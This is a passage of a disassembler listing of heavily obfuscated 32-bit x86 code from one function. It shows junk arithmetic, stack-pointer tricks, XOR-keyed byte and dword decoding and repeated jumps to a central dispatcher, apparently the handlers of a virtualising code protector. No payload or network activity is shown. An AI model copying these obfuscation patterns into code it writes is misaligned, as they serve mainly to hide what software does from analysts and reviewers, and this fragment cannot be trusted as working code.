		sub	ebx, 5F8B4E53h
		pop	edi
		mov	edi, [esp+28h+var_28]
		add	esp, 4
		sub	ebx, 4D225B99h
		jmp	loc_59A3F7
; ---------------------------------------------------------------------------


loc_59828B:				; CODE XREF: sub_58A891+5A9Fj
		xchg	esi, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		push	esi
		push	6328h
		mov	[esp+30h+var_30], esp
		add	[esp+30h+var_30], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_58FB06
; ---------------------------------------------------------------------------


loc_5982AD:				; CODE XREF: sub_58A891+508Dj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5982B2:				; CODE XREF: sub_58A891+85A0j
		add	eax, ebp
		pop	ebp
		jmp	loc_59A072
; ---------------------------------------------------------------------------


loc_5982BA:				; CODE XREF: sub_58A891+F4B5j
		and	eax, ebp
		jmp	loc_590AF2
; ---------------------------------------------------------------------------


loc_5982C1:				; CODE XREF: sub_58A891+68FDj
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp+4Ch+var_4E+2]
		pop	esp
		jmp	loc_594CD0
; ---------------------------------------------------------------------------


loc_5982CD:				; CODE XREF: sub_58A891+EBF3j
		push	406F5629h
		jmp	loc_59A96A
; ---------------------------------------------------------------------------


loc_5982D7:				; CODE XREF: sub_58A891+F3AEj
		mov	ebx, edi
		jmp	loc_59B365
; ---------------------------------------------------------------------------


loc_5982DE:				; CODE XREF: sub_58A891+72A5j
		push	ebx
		push	4DC22C8Bh
		pop	ebx
		shl	ebx, 3
		jz	loc_59B05F
		not	ebx
		add	ebx, 9C35956Fh
		mov	ecx, ebx
		jmp	loc_59658E
; ---------------------------------------------------------------------------


loc_5982FD:				; CODE XREF: sub_58A891+8BB0j
		inc	ebp
		jge	loc_599441
		dec	ebp
		sub	ebp, 0F9D12710h
		or	ah, 9Bh
		pop	esp


loc_59830F:				; CODE XREF: sub_58A891+83A9j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598314:				; CODE XREF: sub_58A891+DB35j
		push	edx
		mov	dh, 0F9h
		mov	al, dh
		pop	edx
		xor	ch, al
		pop	ax
		jmp	loc_595143
; ---------------------------------------------------------------------------


loc_598323:				; CODE XREF: sub_58A891+DC39j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+12h+var_14+2]
		pop	esp
		mov	[esp+0Eh+var_10+2], ebx
		sub	esp, 4
		mov	[esp+12h+var_14+2], esp
		add	[esp+12h+var_14+2], 4
		mov	ebx, [esp+12h+var_14+2]
		jmp	loc_59325F
; ---------------------------------------------------------------------------


loc_59834B:				; CODE XREF: sub_58A891+AE44j
		add	eax, ebp
		jmp	loc_592F1B
; ---------------------------------------------------------------------------


loc_598352:				; CODE XREF: sub_58A891+A6E8j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5976B2
; ---------------------------------------------------------------------------


loc_598360:				; CODE XREF: sub_58A891+A111j
		sub	al, 0EAh
		jmp	loc_592A28
; ---------------------------------------------------------------------------


loc_598367:				; CODE XREF: sub_58A891+5D50j
		xchg	eax, [esp+2Ch+var_2C]
		pop	ebp
		jmp	loc_5932C1
; ---------------------------------------------------------------------------


loc_598370:				; CODE XREF: sub_58A891+6CEEj
		pop	esi
		mov	ebp, 2D184BFEh
		xor	ebp, edi
		pop	edi
		jmp	loc_595194
; ---------------------------------------------------------------------------


loc_59837E:				; CODE XREF: sub_58A891+10C67j
		push	edx
		jmp	loc_590923
; ---------------------------------------------------------------------------


loc_598384:				; CODE XREF: sub_58A891+8848j
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		mov	[esp+24h+var_24], ecx
		jmp	loc_598B55
; ---------------------------------------------------------------------------


loc_5983A1:				; CODE XREF: sub_58A891+7090j
		add	ebx, edx
		pop	edx
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		jmp	loc_595BDE
; ---------------------------------------------------------------------------


loc_5983AF:				; CODE XREF: sub_58A891+FAACj
		pop	ebp
		pop	eax
		not	eax
		jmp	loc_58F9C2
; ---------------------------------------------------------------------------


loc_5983B8:				; CODE XREF: sub_58A891+4E0Dj
		add	ebp, 6A36ACB0h
		jmp	loc_59410D
; ---------------------------------------------------------------------------


loc_5983C3:				; CODE XREF: sub_58A891+B97Dj
		pop	ebx
		push	ax
		jmp	loc_598314
; ---------------------------------------------------------------------------


loc_5983CB:				; CODE XREF: sub_58A891+D124j
		xor	ecx, 0FEAABF6Ah
		push	ebx
		mov	ebx, ecx
		mov	ebp, ebx
		pop	ebx
		pop	ecx
		jmp	loc_598E39
; ---------------------------------------------------------------------------


loc_5983DD:				; CODE XREF: sub_58A891+459Bj
		shr	edi, 6
		xor	edi, 1CD32B8Eh
		jmp	loc_59623D
; ---------------------------------------------------------------------------


loc_5983EB:				; CODE XREF: sub_58A891+7B20j
		mov	[esp+8+var_8], ebx
		mov	ebx, 7F9F459Eh
		jmp	loc_58E8E0
; ---------------------------------------------------------------------------


loc_5983F8:				; CODE XREF: sub_58A891+5E66j
		sub	ah, 6Bh
		add	bl, ah
		pop	eax
		add	bl, 0E6h
		jbe	loc_58F159
		jmp	loc_590B93
; ---------------------------------------------------------------------------
		push	cx
		pushf
		jmp	loc_591597
; ---------------------------------------------------------------------------


loc_598414:				; CODE XREF: sub_58A891+B6D7j
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		sub	esp, 4
		jmp	loc_594535
; ---------------------------------------------------------------------------


loc_598425:				; CODE XREF: sub_58A891+F8FDj
		sub	al, cl
		pop	ecx
		jmp	loc_592611
; ---------------------------------------------------------------------------


loc_59842D:				; CODE XREF: sub_58A891+F116j
		mov	edi, 6BF720D8h
		inc	edi
		jmp	loc_58E9CE
; ---------------------------------------------------------------------------


loc_598438:				; CODE XREF: sub_58A891:loc_592660j
		xor	ebp, 278C4769h
		or	ebp, 27326F6Bh
		xor	ebp, 861E583Ah
		mov	edx, ebp
		pop	ebp
		push	eax
		push	edi
		mov	edi, 562C3212h
		mov	eax, 0D4FF4B03h
		add	eax, edi
		pop	edi
		or	edx, eax
		pop	eax
		xor	edx, 0B5B667Dh
		jmp	loc_59A3EC
; ---------------------------------------------------------------------------


loc_59846A:				; CODE XREF: sub_58A891+A0A8j
		push	ax
		mov	ah, 80h
		sub	bl, ah
		pop	ax
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59847E:				; CODE XREF: sub_58A891+CBE4j
		and	edi, 4AF315Ch
		jmp	loc_596A03
; ---------------------------------------------------------------------------


loc_598489:				; CODE XREF: sub_58A891+9DC0j
		mov	ah, dh
		mov	dh, bl
		mov	bl, ah
		jmp	loc_59B9C5
; ---------------------------------------------------------------------------


loc_598494:				; DATA XREF: sub_58A891+39AFo
		mov	esp, [esp+8+var_8]
		jmp	loc_59AA96
; ---------------------------------------------------------------------------


loc_59849C:				; CODE XREF: sub_58A891+71E3j
		add	esp, 4
		sub	esp, 4
		mov	[esp-8+arg_0], ecx
		mov	ecx, 40h
		add	ecx, edi
		push	eax
		mov	eax, 0
		add	eax, ecx
		mov	[eax], ebx
		pop	eax
		pop	ecx
		mov	ebx, [esp-0Ch+arg_4]
		add	esp, 4
		mov	eax, [esp-10h+arg_8]
		jmp	loc_598323
; ---------------------------------------------------------------------------


loc_5984CF:				; CODE XREF: sub_58A891+DE36j
		not	ecx
		jmp	loc_597660
; ---------------------------------------------------------------------------


loc_5984D6:				; DATA XREF: sub_58A891+3AE7o
		mov	ax, word ptr [esp+8+var_8]
		push	esi
		push	esp
		pop	esi
		jmp	loc_59B650
; ---------------------------------------------------------------------------


loc_5984E2:				; CODE XREF: sub_58A891+E3CAj
		jmp	loc_5902CD
; ---------------------------------------------------------------------------


loc_5984E7:				; CODE XREF: sub_58A891+DFF3j
		mov	ebp, 696461A0h
		mov	edx, 48D26994h
		or	edx, 414C3B6Eh
		add	edx, 45073A8Eh
		jmp	loc_5901A4
; ---------------------------------------------------------------------------


loc_598502:				; CODE XREF: sub_58A891+8DF7j
		pop	ebp
		jmp	loc_592F9C
; ---------------------------------------------------------------------------


loc_598508:				; CODE XREF: sub_58A891+4166j
					; sub_58A891+EE49j
		sub	al, bl
		pop	ebx
		sub	al, cl
		push	edx
		mov	dh, 2Fh
		not	dh
		jmp	loc_5946A8
; ---------------------------------------------------------------------------


loc_598517:				; CODE XREF: sub_58A891+B78Fj
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ch, 0BCh
		jmp	loc_594061
; ---------------------------------------------------------------------------


loc_598524:				; CODE XREF: sub_58A891+10FB8j
		add	esp, 4
		inc	esi
		jmp	loc_59229D
; ---------------------------------------------------------------------------


loc_59852D:				; CODE XREF: sub_58A891+6E45j
		not	eax
		xchg	eax, edi
		shr	edi, 4
		jp	loc_5913A3
		shr	edi, 6
		push	ebx
		mov	ebx, 510D73CBh
		push	ecx


loc_598543:				; CODE XREF: sub_58A891+6DF3j
		sub	edx, 7BBD5CDAh
		add	eax, edx
		mov	edx, [esp+64h+var_64]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		sub	eax, 21B16C06h
		push	edi
		mov	edi, 0BED283Ah
		or	edi, 1E657F3Fh
		neg	edi
		add	edi, 9186ABF0h
		sub	eax, edi
		pop	edi
		jmp	loc_5917B9
; ---------------------------------------------------------------------------


loc_598578:				; CODE XREF: sub_58A891+E473j
		mov	dh, cl
		pop	cx
		xor	dh, bl
		push	[esp+62h+var_64+2]
		jmp	loc_590EBB
; ---------------------------------------------------------------------------


loc_598586:				; CODE XREF: sub_58A891+43D7j
		xor	[esp+8+var_8], ebp
		xor	ebp, [esp+8+var_8]
		pop	esp
		mov	ax, word ptr [esp+4+var_4]
		push	ecx
		push	esp
		pop	ecx
		push	6D9Dh
		mov	[esp+0Ch+var_C], edx
		push	esi
		push	675E6F22h
		jmp	loc_58FC71
; ---------------------------------------------------------------------------
		not	edi
		or	edi, 6A495100h
		jmp	loc_58FA38
; ---------------------------------------------------------------------------


loc_5985B4:				; DATA XREF: sub_58A891+3B9Bo
		lodsd
		push	esi
		mov	esi, 5C62D51h
		add	eax, 3EF56FF5h
		add	eax, esi
		sub	eax, 3EF56FF5h
		jmp	loc_58FE70
; ---------------------------------------------------------------------------


loc_5985CC:				; CODE XREF: sub_58A891+11211j
		push	edi
		push	ebx
		mov	ebx, 511F738Dh
		not	ebx
		sub	ebx, 6BBE5B13h
		jmp	loc_599726
; ---------------------------------------------------------------------------


loc_5985E0:				; CODE XREF: sub_58A891+AF29j
		push	[esp+4+var_4]
		pop	eax
		push	ecx
		push	esp
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		push	eax
		push	ecx
		mov	ecx, 674B6CB0h
		sub	ecx, 75FB4B6Bh
		jle	loc_59348D
		jmp	loc_5953E1
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		mov	ah, bl


loc_598609:				; CODE XREF: sub_58A891+880Fj
		add	eax, 4
		jmp	loc_58F6B1
; ---------------------------------------------------------------------------


loc_598611:				; CODE XREF: sub_58A891+4519j
		jmp	loc_59804F
; ---------------------------------------------------------------------------


loc_598616:				; CODE XREF: sub_58A891+5EB3j
					; sub_58A891+AF46j
		push	edx
		jmp	loc_58E953
; ---------------------------------------------------------------------------


loc_59861C:				; CODE XREF: sub_58A891+D215j
		push	ax
		mov	ax, 82Bh
		jmp	loc_5993F0
; ---------------------------------------------------------------------------


loc_598627:				; CODE XREF: sub_58A891+B8F6j
		pop	eax
		sub	edi, 4
		push	edi
		push	[esp+12h+var_10+2]
		pop	edi
		pop	[esp+12h+var_14+2]
		jmp	loc_5943A5
; ---------------------------------------------------------------------------


loc_59863C:				; CODE XREF: sub_58A891+728Aj
		shl	dh, 8
		jnz	loc_590BD5
		push	ecx
		mov	cl, 66h
		not	cl
		sub	cl, 0Fh
		sub	cl, 0FBh
		neg	cl
		add	cl, 60h
		push	eax
		mov	al, 7Ah
		neg	al
		shr	al, 5
		xor	al, 0E7h
		and	al, 12h
		xor	al, 15h
		jmp	loc_597C7E
; ---------------------------------------------------------------------------


loc_598668:				; CODE XREF: sub_58A891+D583j
		xchg	edi, [esp-18h+arg_E+2]
		jmp	loc_591FD3
; ---------------------------------------------------------------------------


loc_598670:				; CODE XREF: sub_58A891+CBA1j
					; sub_58A891:loc_597AE3j
		sub	esp, 4
		jmp	loc_597053
; ---------------------------------------------------------------------------


loc_59867B:				; CODE XREF: sub_58A891+B0E6j
		pop	[esp+44h+var_46+2]
		pop	esp
		add	edx, eax
		sub	esp, 4
		mov	[esp+40h+var_40], ebx
		mov	ebx, 7ECA5F3Dh
		add	edx, ebx
		pop	ebx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598694:				; CODE XREF: sub_58A891+E143j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+3Ch+var_3C]
		pop	esp
		pop	ebx
		sub	esp, 4
		jmp	loc_593750
; ---------------------------------------------------------------------------


loc_5986AC:				; CODE XREF: sub_58A891+6EC4j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5986B1:				; CODE XREF: sub_58A891+B348j
		sub	ebp, esi
		jmp	loc_593F2C
; ---------------------------------------------------------------------------


loc_5986B8:				; CODE XREF: sub_58A891+5F60j
		sub	esp, 4
		mov	[esp-0Ch+arg_4], esi
		push	ecx
		mov	ecx, 577B3C40h
		jmp	loc_5984CF
; ---------------------------------------------------------------------------


loc_5986CC:				; CODE XREF: sub_58A891+51E9j
		shr	ecx, 8
		dec	ecx
		shl	ecx, 3
		js	loc_59105F
		xchg	ebp, ecx
		jmp	loc_59711C
; ---------------------------------------------------------------------------


loc_5986E0:				; CODE XREF: sub_58A891+C436j
					; sub_58A891+1072Cj
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_59953F
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 53676065h
		add	[esp+1Ch+var_18], ebp
		pop	ebp
		pop	ecx
		push	eax
		jmp	loc_5964E7
; ---------------------------------------------------------------------------


loc_598709:				; CODE XREF: sub_58A891+744Cj
					; sub_58A891+74D5j
		mov	esp, [esp+38h+var_38]
		jmp	loc_59113F
; ---------------------------------------------------------------------------


loc_598711:				; CODE XREF: sub_58A891+86EFj
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+40h+var_40], ebx
		mov	ebx, 4F0F0B76h
		dec	ebx
		sub	ebx, 1
		push	ecx
		mov	ecx, 13D72760h
		neg	ecx
		jmp	loc_58FF66
; ---------------------------------------------------------------------------


loc_59872F:				; CODE XREF: sub_58A891+D849j
		shr	edi, 4
		neg	edi
		dec	edi
		push	ebp
		mov	ebp, 5F100758h
		dec	ebp
		sub	ebp, 6FFD1A1Dh
		and	ebp, 422657A4h
		xor	ebp, 26E5747Fh
		sub	ebp, 6EAD4D25h
		sub	edi, ebp
		pop	ebp
		jmp	loc_599DD9
; ---------------------------------------------------------------------------


loc_59875C:				; CODE XREF: sub_58A891+7A4Aj
		mov	edi, 290D646Ah
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		jmp	loc_593319
; ---------------------------------------------------------------------------


loc_59876C:				; CODE XREF: sub_58A891+58EFj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		mov	[esp+44h+var_46+2], eax
		jmp	loc_59A0DF
; ---------------------------------------------------------------------------


loc_598783:				; DATA XREF: sub_58A891+3A7Fo
		lodsd
		xor	eax, ebx
		push	3FD8h
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		jmp	loc_596475
; ---------------------------------------------------------------------------


loc_598795:				; CODE XREF: sub_58A891+C16Dj
		mov	[esp+10h+var_10], edi
		push	ecx
		push	62FC133Ah
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		push	3D06h
		mov	[esp+18h+var_18], edx
		mov	edx, 791A7CC7h
		jmp	loc_58ECDE
; ---------------------------------------------------------------------------


loc_5987B6:				; CODE XREF: sub_58A891+6D81j
		push	esi
		jmp	loc_59450C
; ---------------------------------------------------------------------------


loc_5987BC:				; DATA XREF: sub_58A891+3B83o
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_59280C
; ---------------------------------------------------------------------------


loc_5987C5:				; CODE XREF: sub_58A891+C224j
		add	eax, ecx
		mov	ecx, [esp-0Ch+arg_4]
		add	esp, 4
		push	eax
		push	[esp-0Ch+arg_8]
		pop	eax
		pop	[esp-0Ch+arg_4]
		pop	esp
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		mov	cx, [esp+0]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		sub	eax, 29172349h
		add	eax, ebp
		add	eax, 29172349h
		jmp	loc_59A9C7
; ---------------------------------------------------------------------------


loc_598810:				; CODE XREF: sub_58A891+483Fj
		sub	esp, 4
		mov	[esp+34h+var_34], ebx
		mov	bl, ah
		mov	ch, bl
		mov	ebx, [esp+34h+var_34]
		push	ebp
		mov	ebp, esp
		jmp	loc_595B6D
; ---------------------------------------------------------------------------


loc_598825:				; CODE XREF: sub_58A891+5B6Aj
		sub	edi, 608E6564h
		sub	edi, edx
		add	edi, 608E6564h
		add	edi, 145D254Ah
		pop	edx
		add	edx, edi
		pop	edi
		push	6C3h
		mov	[esp+14h+var_14], ecx
		mov	ecx, 4
		jmp	loc_5921D0
; ---------------------------------------------------------------------------


loc_59884F:				; CODE XREF: sub_58A891+E8A0j
		xor	al, bl
		push	0A26h
		mov	[esp+18h+var_18], ebx
		push	4F3Ah
		mov	[esp+1Ch+var_1C], ecx
		mov	ch, 0Dh
		shl	ch, 8
		sub	ch, 0FFh
		add	ch, 0B6h
		push	ax
		jmp	loc_597B0C
; ---------------------------------------------------------------------------


loc_598873:				; CODE XREF: sub_58A891+BA58j
		push	small 44D1h
		mov	word ptr [esp+3Eh+var_40+2], dx
		push	ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598883:				; CODE XREF: sub_58A891+B70Aj
					; sub_58A891+10D97j
		push	ebp
		jmp	loc_5984E7
; ---------------------------------------------------------------------------


loc_598889:				; CODE XREF: sub_58A891+8522j
		sub	eax, 519F5802h
		jmp	loc_59AFD3
; ---------------------------------------------------------------------------


loc_598893:				; CODE XREF: sub_58A891+10551j
		sub	al, dh
		add	al, 51h
		jmp	loc_592168
; ---------------------------------------------------------------------------


loc_59889C:				; CODE XREF: sub_58A891+E02Cj
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], esi
		jmp	loc_591640
; ---------------------------------------------------------------------------


loc_5988A8:				; CODE XREF: sub_58A891+A296j
		add	esp, 4
		push	[esp+18h+var_18]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_59889C
; ---------------------------------------------------------------------------


loc_5988C2:				; CODE XREF: sub_58A891+58A6j
		mov	ecx, 1
		jmp	loc_590DFC
; ---------------------------------------------------------------------------


loc_5988CC:				; CODE XREF: sub_58A891+8394j
		not	edx
		or	edx, 29611E7Bh
		jmp	loc_58F109
; ---------------------------------------------------------------------------


loc_5988D9:				; DATA XREF: sub_58A891+3A6Bo
		mov	cx, word ptr [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_58ECA3
; ---------------------------------------------------------------------------


loc_5988F0:				; CODE XREF: sub_58A891+9793j
		add	eax, ebx
		pop	ebx
		jmp	loc_5965D8
; ---------------------------------------------------------------------------


loc_5988F8:				; CODE XREF: sub_58A891+F26Fj
		mov	edi, 34564148h
		add	edi, 385775A4h
		or	edi, 5316251Fh
		add	edi, 52AC21D2h
		jmp	loc_5952C1
; ---------------------------------------------------------------------------


loc_598914:				; CODE XREF: sub_58A891+FE46j
		sub	eax, 3D055E93h
		jmp	loc_5938EB
; ---------------------------------------------------------------------------


loc_59891E:				; CODE XREF: sub_58A891+6079j
		push	esp
		pop	ebx
		push	eax
		push	ebp
		push	58F87230h
		pop	ebp
		xor	ebp, 58F87234h
		mov	eax, ebp
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		push	eax
		mov	eax, 502B14E9h
		sub	ebx, eax
		jmp	loc_59AC2D
; ---------------------------------------------------------------------------


loc_598946:				; CODE XREF: sub_58A891+86B1j
		movzx	eax, al
		jmp	loc_595226
; ---------------------------------------------------------------------------


loc_59894E:				; CODE XREF: sub_58A891+425Fj
		pop	edi
		push	esi
		mov	esi, 51F51D3Ah
		push	0
		sub	[esp+3Ch+var_3C], esi
		pop	esi
		jmp	loc_590399
; ---------------------------------------------------------------------------


loc_598963:				; DATA XREF: sub_58A891+3A4Fo
		mov	ax, word ptr [esp+8+var_8]
		push	edi
		jmp	loc_595624
; ---------------------------------------------------------------------------


loc_59896D:				; CODE XREF: sub_58A891+920Ej
		sub	edx, ebp
		pop	ebp
		sub	edx, esi
		push	ebp
		jmp	loc_59B427
; ---------------------------------------------------------------------------


loc_598978:				; DATA XREF: sub_58A891+399Fo
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		push	73B7h
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		jmp	loc_597E75
; ---------------------------------------------------------------------------


loc_598992:				; CODE XREF: sub_58A891+3D94j
		movzx	ax, byte ptr [eax]
		push	small 443Ch
		jmp	loc_58ED66
; ---------------------------------------------------------------------------


loc_59899F:				; CODE XREF: sub_58A891+1139Cj
		sub	esp, 4
		mov	[esp+4Ah+var_4A], edi
		push	eax
		push	edx
		mov	edx, 2D791163h
		neg	edx
		jmp	loc_58F5B8
; ---------------------------------------------------------------------------


loc_5989B6:				; CODE XREF: sub_58A891+52F6j
		push	2EDh
		mov	[esp+44h+var_46+2], ebx
		mov	eax, [esp+44h+var_46+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+48h+var_4A+2]
		pop	esp
		mov	[esp+44h+var_46+2], ecx
		jmp	loc_598694
; ---------------------------------------------------------------------------


loc_5989D9:				; CODE XREF: sub_58A891+7FF5j
					; sub_58A891+B777j
		mov	ah, 1Fh
		neg	ah
		sub	ah, 97h
		push	dx
		mov	dl, 0ECh
		xor	ah, dl
		pop	dx
		sub	dl, ah
		pop	eax
		jmp	loc_5946D7
; ---------------------------------------------------------------------------


loc_5989F0:				; CODE XREF: sub_58A891+D70Bj
		add	esp, 4
		add	esp, 4
		pop	edx
		pop	ecx
		push	2EFAh
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		jmp	loc_590D05
; ---------------------------------------------------------------------------


loc_598A0A:				; CODE XREF: sub_58A891+C886j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_58F01E
; ---------------------------------------------------------------------------


loc_598A1E:				; CODE XREF: sub_58A891+6509j
		pop	ecx
		add	edi, 2
		jmp	loc_59110D
; ---------------------------------------------------------------------------


loc_598A2A:				; CODE XREF: sub_58A891+77BEj
		sub	dword ptr [esp+0], 406F769Eh
		mov	edi, [esp+0]
		add	esp, 4
		push	ecx
		sub	esp, 4
		jmp	loc_598110
; ---------------------------------------------------------------------------


loc_598A43:				; CODE XREF: sub_58A891+97FAj
		mov	ebp, 3B3C237Fh
		and	ecx, ebp
		push	[esp+44h+var_46+2]
		pop	ebp
		jmp	loc_59AD6E
; ---------------------------------------------------------------------------


loc_598A53:				; CODE XREF: sub_58A891+4102j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598A58:				; CODE XREF: sub_58A891+7D42j
		mov	ebp, eax
		mov	eax, [esp+3Ch+var_3C]
		add	esp, 4
		xor	[esp+38h+var_34], ebp
		pop	ebp
		push	[esp+34h+var_34]
		pop	eax
		add	esp, 4
		push	edi
		push	ebp
		mov	ebp, 259F5526h
		mov	edi, ebp
		pop	ebp
		xor	eax, edi
		pop	edi
		push	esi
		jmp	loc_5972F9
; ---------------------------------------------------------------------------


loc_598A85:				; CODE XREF: sub_58A891+986Dj
		mov	[esp+3Ah+var_3C+2], ebp
		push	[esp+3Ah+var_38+2]
		pop	ebp
		pop	[esp+3Ah+var_3C+2]
		pop	esp
		push	39F3h
		mov	[esp+36h+var_38+2], ecx
		push	ebx
		mov	bl, 25h
		dec	bl
		jp	loc_5919C2
		jmp	loc_59231C
; ---------------------------------------------------------------------------
		sub	esi, 1267C5A2h
		mov	ebp, esi
		push	ebp


loc_598AB2:				; CODE XREF: sub_58A891+AF72j
		add	edx, ebp
		pop	ebp
		mov	ebp, edx
		pop	edx
		inc	ebp
		not	ebp
		sub	ebp, 0D0A06F66h
		sub	eax, ebp
		jmp	loc_5961DE
; ---------------------------------------------------------------------------


loc_598AC8:				; CODE XREF: sub_58A891+10421j
		push	5CF0h
		mov	[esp+3Ah+var_3C+2], ebx
		mov	bl, 22h
		push	edx
		jmp	loc_591B56
; ---------------------------------------------------------------------------


loc_598AD8:				; DATA XREF: sub_58A891+3A53o
		lodsb
		xor	al, bl
		push	edx
		push	ebx
		mov	bh, 13h
		mov	dl, 0AFh
		xor	dl, bh
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		shl	dl, 1
		jmp	loc_597343
; ---------------------------------------------------------------------------


loc_598AF3:				; CODE XREF: sub_58A891+8209j
		mov	ebx, [esp+18h+var_18]
		add	esp, 4
		sub	esp, 4
		jmp	loc_59428A
; ---------------------------------------------------------------------------


loc_598B01:				; CODE XREF: sub_58A891+9DAAj
		add	ebp, 25D01A4Ch
		jmp	loc_595597
; ---------------------------------------------------------------------------


loc_598B0C:				; CODE XREF: sub_58A891+5EEEj
					; sub_58A891+7994j
		sub	esp, 4
		jmp	loc_5965A8
; ---------------------------------------------------------------------------


loc_598B14:				; CODE XREF: sub_58A891+97CBj
		mov	ebp, 2CAF2734h
		neg	ebp
		shr	ebp, 2
		add	ebp, 47B7341Eh
		add	ebp, 54BF262Ch
		neg	ebp
		add	ebp, 432B991Ch
		sub	eax, ebp
		pop	ebp
		push	dword ptr [edi+eax*4]
		push	ebp
		push	eax
		mov	eax, 4EDD00F9h
		push	2352h
		jmp	loc_590BC0
; ---------------------------------------------------------------------------


loc_598B49:				; CODE XREF: sub_58A891+F8C9j
		dec	esi
		push	ebx
		mov	ebx, 717A0A9Ch
		jmp	loc_5928C1
; ---------------------------------------------------------------------------


loc_598B55:				; CODE XREF: sub_58A891+DB0Bj
		push	eax
		jmp	loc_58F794
; ---------------------------------------------------------------------------


loc_598B5B:				; CODE XREF: sub_58A891+7CEEj
		sub	ecx, edi
		pop	edi
		sub	eax, 77E3226Ch
		jmp	loc_59B139
; ---------------------------------------------------------------------------


loc_598B68:				; CODE XREF: sub_58A891+8B2Dj
		mov	edi, esp
		push	esi
		push	4
		pop	esi
		add	edi, 735B7D84h
		add	edi, esi
		sub	edi, 735B7D84h
		pop	esi
		push	ebp
		push	ecx
		push	ebp
		mov	ebp, 2B57ED3h
		mov	ecx, 655DD45Eh
		jmp	loc_58EDA1
; ---------------------------------------------------------------------------


loc_598B92:				; CODE XREF: sub_58A891+C4CCj
		pop	ebp
		push	1712h
		mov	[esp+0], ebx
		push	edx
		jmp	loc_58F2B3
; ---------------------------------------------------------------------------


loc_598BA1:				; DATA XREF: sub_58A891+3AEFo
		mov	cx, word ptr [esp+8+var_8]
		push	ecx
		push	5D26h
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	edi
		mov	edi, 206E6863h
		or	edi, 7CD94DF1h
		xor	edi, 1A5F46AFh
		xor	edi, 3F67380Ah
		sub	edi, 59C71352h
		add	ecx, edi
		pop	edi
		push	esi
		mov	esi, 2
		push	ebx
		mov	ebx, 7D2C68CAh
		add	ecx, ebx
		pop	ebx
		jmp	loc_59B6E2
; ---------------------------------------------------------------------------


loc_598BED:				; CODE XREF: sub_58A891+EB5Aj
		and	eax, ebx
		push	[esp+10h+var_10]
		pop	ebx
		jmp	loc_599B28
; ---------------------------------------------------------------------------


loc_598BF8:				; CODE XREF: sub_58A891+D194j
		push	5701h
		jmp	loc_592170
; ---------------------------------------------------------------------------


loc_598C02:				; CODE XREF: sub_58A891+94FBj
		mov	esi, 17C9235Ah
		sub	ebp, esi
		pop	esi
		jmp	loc_5915B9
; ---------------------------------------------------------------------------


loc_598C0F:				; CODE XREF: sub_58A891+C617j
		sub	bl, al
		jmp	loc_595FC3
; ---------------------------------------------------------------------------


loc_598C16:				; CODE XREF: sub_58A891+522Ej
		xor	ebp, [esp+24h+var_24]
		jmp	loc_59371C
; ---------------------------------------------------------------------------


loc_598C1E:				; CODE XREF: sub_58A891+4806j
		add	edi, 46ED933Ah
		xor	ebp, edi
		pop	edi
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp+28h+var_28]
		pop	esp
		add	edx, 2
		xor	edx, [esp+24h+var_24]
		xor	[esp+24h+var_24], edx
		xor	edx, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		movzx	cx, al
		push	small 7EBAh
		mov	word ptr [esp+26h+var_28+2], cx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598C54:				; CODE XREF: sub_58A891+D92Aj
		dec	edx
		js	loc_593750
		jmp	loc_5984E2
; ---------------------------------------------------------------------------


loc_598C60:				; CODE XREF: sub_58A891+CEE1j
